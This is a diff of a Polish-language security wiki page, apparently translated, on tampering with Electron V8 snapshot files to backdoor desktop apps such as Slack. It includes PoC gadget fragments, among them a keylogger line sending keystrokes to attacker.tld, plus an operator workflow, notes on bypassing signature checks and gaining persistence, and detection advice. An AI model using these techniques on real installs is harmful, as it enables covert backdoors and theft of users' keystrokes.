 ```
-Isolate-aware payload routing (uruchamiaj różny kod w main vs. renderer)
- Wykrywanie main process: globalne obiekty dostępne tylko w Node, takie jak process.pid, process.binding(), lub process.dlopen, są obecne w izolacie procesu main.
- Wykrywanie Browser/renderer: globalne obiekty dostępne tylko w Browser, takie jak alert, są dostępne podczas uruchamiania w kontekście dokumentu.
+Isolate-aware payload routing (run different code in main vs. renderer)
+- Wykrywanie procesu głównego: Node-only globals takie jak process.pid, process.binding() lub process.dlopen są obecne w main process isolate.
+- Wykrywanie Browser/renderer: Browser-only globals takie jak alert są dostępne podczas działania w kontekście dokumentu.

-Przykładowy gadget, który jednorazowo bada możliwości Node w main-process
+Przykładowy gadget, który jednorazowo bada możliwości Node w main-process.
 ```js
 const orig = Array.isArray;

@ -495,7 +520,7 @@ process.exit(0);
 return orig(...arguments);
 };
 ```
-Renderer/browser-context data theft PoC (np. Slack)
+Renderer/browser-context kradzież danych PoC (np. Slack)
 ```js
 const orig = Array.isArray;
 Array.isArray = function() {
@ -519,27 +544,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
 return orig(...arguments);
 };
 ```
-Przebieg pracy operatora
-1) Utwórz payload.js, który nadpisuje powszechny builtin (np. Array.isArray) i opcjonalnie rozgałęzia się dla każdego isolate.
+Przepływ pracy operatora
+1) Napisz payload.js, który clobbers powszechnie używany builtin (np. Array.isArray) i opcjonalnie rozgałęzia się per isolate.
 2) Zbuduj snapshot bez źródeł Chromium:
 - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
-3) Zastąp pliki snapshot docelowej aplikacji:
+3) Zastąp plik(i) snapshot aplikacji docelowej:
 - v8_context_snapshot.bin (zawsze używany)
- browser_v8_context_snapshot.bin (jeśli używany jest LoadBrowserProcessSpecificV8Snapshot fuse)
-4) Uruchom aplikację; gadget wykona się za każdym razem, gdy wybrane builtin zostanie użyte.
+- browser_v8_context_snapshot.bin (jeśli użyty jest fuse LoadBrowserProcessSpecificV8Snapshot)
+4) Uruchom aplikację; gadget wykonuje się za każdym razem, gdy użyty zostanie wybrany builtin.

 Uwagi i rozważania
- Ominięcie integralności/podpisu: pliki snapshot nie są traktowane jako natywne pliki wykonywalne przez kontrole podpisu kodu i (historycznie) nie były objęte przez Electron’s fuses ani mechanizmy integralności Chromium.
- Trwałość: zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zazwyczaj przetrwa restarty aplikacji i wygląda jak podpisana, autentyczna aplikacja.
- Przeglądarki Chromium: ten sam koncept manipulacji ma zastosowanie do Chrome/pochodnych zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy integralności, ale wyraźnie wyłącza ataki fizycznie lokalne z modelu zagrożeń.
+- Ominięcie integralności/podpisu: Pliki snapshot nie są traktowane jako natywne pliki wykonywalne przez mechanizmy sprawdzania podpisu kodu i (historycznie) nie były objęte Electron’s fuses ani kontrolami integralności Chromium.
+- Trwałość: Zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zwykle przetrwa ponowne uruchomienia aplikacji i wygląda jak podpisana, legitna aplikacja.
+- Przeglądarki Chromium: Ten sam koncept manipulacji dotyczy Chrome/pochodnych zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy ochrony integralności, ale wyraźnie wyłącza fizycznie lokalne ataki z modelu zagrożeń.

-Wykrywanie i środki zaradcze
- Traktować snapshoty jako zawartość wykonywalną i uwzględnić je w wymuszaniu integralności (CVE-2025-55305 fix).
- Preferować lokalizacje instalacji zapisywalne tylko przez administratora; ustalić bazowe i monitorować hashe dla v8_context_snapshot.bin i browser_v8_context_snapshot.bin.
- Wykrywać nadpisywanie builtinów we wczesnym etapie runtime oraz nieoczekiwane zmiany snapshotów; generować alert, gdy zdeserializowane snapshoty nie zgadzają się z oczekiwanymi wartościami.
+Wykrywanie i przeciwdziałania
+- Traktuj snapshoty jako zawartość wykonywalną i uwzględnij je w egzekwowaniu integralności (poprawka CVE-2025-55305).
+- Preferuj lokalizacje instalacji zapisywalne tylko przez administratora; ustal bazowe hashe i monitoruj je dla v8_context_snapshot.bin i browser_v8_context_snapshot.bin.
+- Wykrywaj wczesne nadpisywanie builtinów i nieoczekiwane zmiany snapshotów; generuj alerty, gdy zdeserializowane snapshoty nie zgadzają się z oczekiwanymi wartościami.

 ## **Referencje**

+- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
+- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
+- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
+- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
 - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
 - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
 - [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
@ -549,7 +578,6 @@ Wykrywanie i środki zaradcze
 - [Loki C2](https://github.com/boku7/Loki/)
 - [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
 - [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
-
 - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
 - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
 - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)